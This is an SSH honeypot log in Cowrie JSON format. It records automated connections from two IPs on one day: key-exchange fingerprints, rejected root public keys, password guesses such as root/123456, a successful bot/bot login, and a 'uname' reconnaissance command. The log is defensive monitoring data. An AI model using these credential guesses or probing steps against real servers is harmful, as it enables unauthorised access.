{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.140115Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:0d:3b:1d:8b:b2:54:2e:ee:e6:3a:fc:6e:6a:54:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQEaT61KJOd3CSAi8fM3neBDvny9SK8s+JLBysq7tG3AsvzXPDx6fkYq0VCu/+Is80KS8sG8JcQbrOsBlL6o/t7B9kDdxnUaR7RaApi6nOBAq+Y62olC++Mi2UH8lJbv8G9nR0LbWjMzYg7UWk/GlNYdG0xK1gjQ+QLXm1sBaCJLXCSVr9DM9ndzz4n9qbvpqCpHA3w9qvCRkRlUI7sTUpbUkE34XOu3Ry8fOxIVQQ4mYbw/PIBHjhoW2l1huc72U+S6H0zHBaU74FxxiJAu5zqUDBhWKKrhJqc8MtymvSbCIyS7iGa3KbSPWUkIvn1rj0dA9c20pvBsGLitgTLEWV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:0d:3b:1d:8b:b2:54:2e:ee:e6:3a:fc:6e:6a:54:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.454170Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:0d:3b:1d:8b:b2:54:2e:ee:e6:3a:fc:6e:6a:54:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQEaT61KJOd3CSAi8fM3neBDvny9SK8s+JLBysq7tG3AsvzXPDx6fkYq0VCu/+Is80KS8sG8JcQbrOsBlL6o/t7B9kDdxnUaR7RaApi6nOBAq+Y62olC++Mi2UH8lJbv8G9nR0LbWjMzYg7UWk/GlNYdG0xK1gjQ+QLXm1sBaCJLXCSVr9DM9ndzz4n9qbvpqCpHA3w9qvCRkRlUI7sTUpbUkE34XOu3Ry8fOxIVQQ4mYbw/PIBHjhoW2l1huc72U+S6H0zHBaU74FxxiJAu5zqUDBhWKKrhJqc8MtymvSbCIyS7iGa3KbSPWUkIvn1rj0dA9c20pvBsGLitgTLEWV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.457588Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:fc:b2:7f:b4:7e:79:f2:87:2f:21:ea:70:fd:e3:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCe/GDB9PlTIQMA95i6bdX3L78PeBX4w8g66/a9jI3cjsXxnfp+KYnbX13YHDDQpWD8qQnlimScwnjRxV1iB8POiVsi1+NDiZd7cH9Rf2i2MF6cTLukMXhaas4Q4DV6FczbmHrskCeRDOS3EO64jh+YKtk7+vxxgxMKM7CWgXVs/Kqsyutxeq2JgpBPga8qYId70khCgGxepebJkOYcAy7utag6xGYDaGqgE6MTZVk3a45BdGzFSNO78S5KwS8NY/2VW9NdOQDeqh5Oqz2Mb/NaOrqgJSktGXWQQPJgSo0QXRVTG2TGfMtKLlGz6hFN7kgkGlc83u0EWW8bLAzqXx4P8chPmAlvY4cmAGliqLoWdXYXQDHiPvV1+5KWzOyEmo0Tg2pa8GWChD6soPREHnrDoSglu5v/A6tQunn3ZPD2cbMtPOVldj/VB3M1L6X2wY1XDXeUnYjZpyIVq9u1p0JgOlOlUp6H/svbZFPc3t0sBGaWfnFXaWUBXuIsPSKNjMc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:fc:b2:7f:b4:7e:79:f2:87:2f:21:ea:70:fd:e3:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.526274Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:fc:b2:7f:b4:7e:79:f2:87:2f:21:ea:70:fd:e3:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCe/GDB9PlTIQMA95i6bdX3L78PeBX4w8g66/a9jI3cjsXxnfp+KYnbX13YHDDQpWD8qQnlimScwnjRxV1iB8POiVsi1+NDiZd7cH9Rf2i2MF6cTLukMXhaas4Q4DV6FczbmHrskCeRDOS3EO64jh+YKtk7+vxxgxMKM7CWgXVs/Kqsyutxeq2JgpBPga8qYId70khCgGxepebJkOYcAy7utag6xGYDaGqgE6MTZVk3a45BdGzFSNO78S5KwS8NY/2VW9NdOQDeqh5Oqz2Mb/NaOrqgJSktGXWQQPJgSo0QXRVTG2TGfMtKLlGz6hFN7kgkGlc83u0EWW8bLAzqXx4P8chPmAlvY4cmAGliqLoWdXYXQDHiPvV1+5KWzOyEmo0Tg2pa8GWChD6soPREHnrDoSglu5v/A6tQunn3ZPD2cbMtPOVldj/VB3M1L6X2wY1XDXeUnYjZpyIVq9u1p0JgOlOlUp6H/svbZFPc3t0sBGaWfnFXaWUBXuIsPSKNjMc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.529078Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:26:33:65:18:a4:05:3d:d5:f9:b0:23:67:06:a8:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAuFlf+I1IAhcPSPkVVCN1SEY7fNIqxVKGai9otsUo1Z8k4UgcjPX32SbSd1ATpP4S3K9GMbbp2CQFheliUopNOoIKf/bvcCblnjRObYF+6Vb5SDtVliP9ylipZxUCN+g2Q+zwsF4qh6OCH3josizKbo2B9+8eqtg8jGMZbZ7OMM73yiyk0RzEucERIUq4znSiAAhjrXDcbvI0RtNXW4eoChK0u+eaf7kvYoqOb2wXxTiXcRoHO57mIwDdjIMJuKOeWmYPV0nv8el6oQ/nu17ghjN25QhVME4VyxJFvcNyEe8Xwb5jnvFIP3n6ppapkX8V+oQXmGH4VXdk/zsbXThp3KuUn+QInUQsdGdz/5oe+M399LLCeXHvD4QrC1CDRI95M0Z1+M9oKkzGlsP5aoMsH7Uh1+LbU9FD/4edFqSzSjvrSs0QLuFOmUY5Ts4JV+EPYTw4+5tXEZJHOri3c4YY8SXGdbNgt3o4yukLTXX3QX/WCx3z1HjOY4tjqMNvr5tZUMe36xa/QYYp9w23087NiyeAOt6PFH00E4JEvELTnkMU3JbR6FCbsroPBsolog5zX8w/d/ZqYC5DCRLa3bJHbjbiaTanAdbTIID897x7wMWWroK58r8jJtqEyTAxiKvQgecq6SBE8KIYbivAWuWLmnpj5I/ggtz56rZpPDwCpCk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:26:33:65:18:a4:05:3d:d5:f9:b0:23:67:06:a8:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.600971Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:26:33:65:18:a4:05:3d:d5:f9:b0:23:67:06:a8:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAuFlf+I1IAhcPSPkVVCN1SEY7fNIqxVKGai9otsUo1Z8k4UgcjPX32SbSd1ATpP4S3K9GMbbp2CQFheliUopNOoIKf/bvcCblnjRObYF+6Vb5SDtVliP9ylipZxUCN+g2Q+zwsF4qh6OCH3josizKbo2B9+8eqtg8jGMZbZ7OMM73yiyk0RzEucERIUq4znSiAAhjrXDcbvI0RtNXW4eoChK0u+eaf7kvYoqOb2wXxTiXcRoHO57mIwDdjIMJuKOeWmYPV0nv8el6oQ/nu17ghjN25QhVME4VyxJFvcNyEe8Xwb5jnvFIP3n6ppapkX8V+oQXmGH4VXdk/zsbXThp3KuUn+QInUQsdGdz/5oe+M399LLCeXHvD4QrC1CDRI95M0Z1+M9oKkzGlsP5aoMsH7Uh1+LbU9FD/4edFqSzSjvrSs0QLuFOmUY5Ts4JV+EPYTw4+5tXEZJHOri3c4YY8SXGdbNgt3o4yukLTXX3QX/WCx3z1HjOY4tjqMNvr5tZUMe36xa/QYYp9w23087NiyeAOt6PFH00E4JEvELTnkMU3JbR6FCbsroPBsolog5zX8w/d/ZqYC5DCRLa3bJHbjbiaTanAdbTIID897x7wMWWroK58r8jJtqEyTAxiKvQgecq6SBE8KIYbivAWuWLmnpj5I/ggtz56rZpPDwCpCk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.603721Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:c3:3c:11:47:ff:7a:3c:46:03:17:31:b9:bb:9d:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP05zjXz1y4jUcvdjRzE7hHmGfmbVHlxJ9Wywi97+MHYaU1ih4Vo4f9LLwBMcGSM1mLq10MhS7SCmDD2WwUeqLdnWq9Wp2WIy1xKKd+ZryhZESrtoZKrcdjEYLm5x22y3ZkTWLe1F4u7mEpOwvt7MxDaGrS5Vx38HmjjIGTq/w6LNWx2W2ktY8b+wcyligoEQbC1MWuVYB6zqRP/lpwBOkty5LQeOHkncE1XIgWiFsq5HSYrQXim4igpCYevJLIHNHOs4EkoF99SlW/LWN3gE6a3WaGF2iUqzdKgTx38Jycv2M9bCdcZylwLktk/AQbeZJCyDZ6qnCiF49EzDcttgX1XckcHKEL17eaMA9Wuahvbuzy7+UqT+bOJQ3L1Ix1ltEIX4A4QNPVEeGm6m1t8cUGDIxS3d3dvu0Mr4fyPplt8RoSxXwQUmJhCq6mRIMckY9qhpTmBbSmyT3lckZnNNYtwPDQKrrY0TbZJrOOm0XjcdwchMeqaqHZ3qRRXTgm9E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:c3:3c:11:47:ff:7a:3c:46:03:17:31:b9:bb:9d:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.674287Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:c3:3c:11:47:ff:7a:3c:46:03:17:31:b9:bb:9d:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP05zjXz1y4jUcvdjRzE7hHmGfmbVHlxJ9Wywi97+MHYaU1ih4Vo4f9LLwBMcGSM1mLq10MhS7SCmDD2WwUeqLdnWq9Wp2WIy1xKKd+ZryhZESrtoZKrcdjEYLm5x22y3ZkTWLe1F4u7mEpOwvt7MxDaGrS5Vx38HmjjIGTq/w6LNWx2W2ktY8b+wcyligoEQbC1MWuVYB6zqRP/lpwBOkty5LQeOHkncE1XIgWiFsq5HSYrQXim4igpCYevJLIHNHOs4EkoF99SlW/LWN3gE6a3WaGF2iUqzdKgTx38Jycv2M9bCdcZylwLktk/AQbeZJCyDZ6qnCiF49EzDcttgX1XckcHKEL17eaMA9Wuahvbuzy7+UqT+bOJQ3L1Ix1ltEIX4A4QNPVEeGm6m1t8cUGDIxS3d3dvu0Mr4fyPplt8RoSxXwQUmJhCq6mRIMckY9qhpTmBbSmyT3lckZnNNYtwPDQKrrY0TbZJrOOm0XjcdwchMeqaqHZ3qRRXTgm9E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.676400Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:96:ca:41:d0:4d:8a:f3:9a:ff:7b:c8:b6:4e:1e:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTx/UsU8WzrhSFebwz6l9wwfgmRmRwpeij7Lern5ym7rvVKN3JBALSVdGLDdIO6KUioTDmpewO5Wj+ejNdGhm/fSUHnl6Iz9ixIat7p3Vv5SopO3PaYAVyJWkqTLeYLPfwP0nH8rD1IWqmDd/G8FhwAIMuA4BRci1xcBDAVHnHIalrmI5r8WZpSVa1PnQ8VJBgqf0T08Kcqfd+WziyXkweAO7T+rNOABHp1Js14Xr4L4VuLy403sFXax+rVHEjJoRm2iPv1RH4Y9t6K6zwPmRMfdb1jD+eLHGB88CkAfrkmOFgT32Ej1mfcOuiBVlaNMBdTWtKjMTvURZGVeCiwo0r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:96:ca:41:d0:4d:8a:f3:9a:ff:7b:c8:b6:4e:1e:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.744919Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:96:ca:41:d0:4d:8a:f3:9a:ff:7b:c8:b6:4e:1e:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTx/UsU8WzrhSFebwz6l9wwfgmRmRwpeij7Lern5ym7rvVKN3JBALSVdGLDdIO6KUioTDmpewO5Wj+ejNdGhm/fSUHnl6Iz9ixIat7p3Vv5SopO3PaYAVyJWkqTLeYLPfwP0nH8rD1IWqmDd/G8FhwAIMuA4BRci1xcBDAVHnHIalrmI5r8WZpSVa1PnQ8VJBgqf0T08Kcqfd+WziyXkweAO7T+rNOABHp1Js14Xr4L4VuLy403sFXax+rVHEjJoRm2iPv1RH4Y9t6K6zwPmRMfdb1jD+eLHGB88CkAfrkmOFgT32Ej1mfcOuiBVlaNMBdTWtKjMTvURZGVeCiwo0r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.747669Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.818143Z","src_ip":"205.185.117.128","session":"2413023370d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:38.927841Z","src_ip":"45.156.87.147","session":"72ebbf93dfa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54798,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a3026b3ae51","protocol":"ssh","message":"New connection: 45.156.87.147:54798 (10.17.0.5:22) [session: 6a3026b3ae51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:43.399740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:43.403076Z","src_ip":"45.156.87.147","session":"6a3026b3ae51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:43.487449Z","src_ip":"45.156.87.147","session":"6a3026b3ae51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1qaz2wsx","message":"login attempt [dev/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:43.823828Z","src_ip":"45.156.87.147","session":"6a3026b3ae51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:44.907702Z","src_ip":"45.156.87.147","session":"6a3026b3ae51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51324,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f92f706209c","protocol":"ssh","message":"New connection: 45.156.87.147:51324 (10.17.0.5:22) [session: 4f92f706209c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:49.536701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:49.540608Z","src_ip":"45.156.87.147","session":"4f92f706209c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:49.622551Z","src_ip":"45.156.87.147","session":"4f92f706209c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:49.871065Z","src_ip":"45.156.87.147","session":"4f92f706209c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:51.027416Z","src_ip":"45.156.87.147","session":"4f92f706209c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51332,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bbeffead301","protocol":"ssh","message":"New connection: 45.156.87.147:51332 (10.17.0.5:22) [session: 8bbeffead301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:55.402467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:55.409881Z","src_ip":"45.156.87.147","session":"8bbeffead301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:55.491889Z","src_ip":"45.156.87.147","session":"8bbeffead301","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:55.739831Z","src_ip":"45.156.87.147","session":"8bbeffead301","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:55.987568Z","src_ip":"45.156.87.147","session":"8bbeffead301","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:55.990038Z","src_ip":"45.156.87.147","session":"8bbeffead301","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:56.114112Z","src_ip":"45.156.87.147","session":"8bbeffead301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:50:56.118817Z","src_ip":"45.156.87.147","session":"8bbeffead301","protocol":"ssh"}
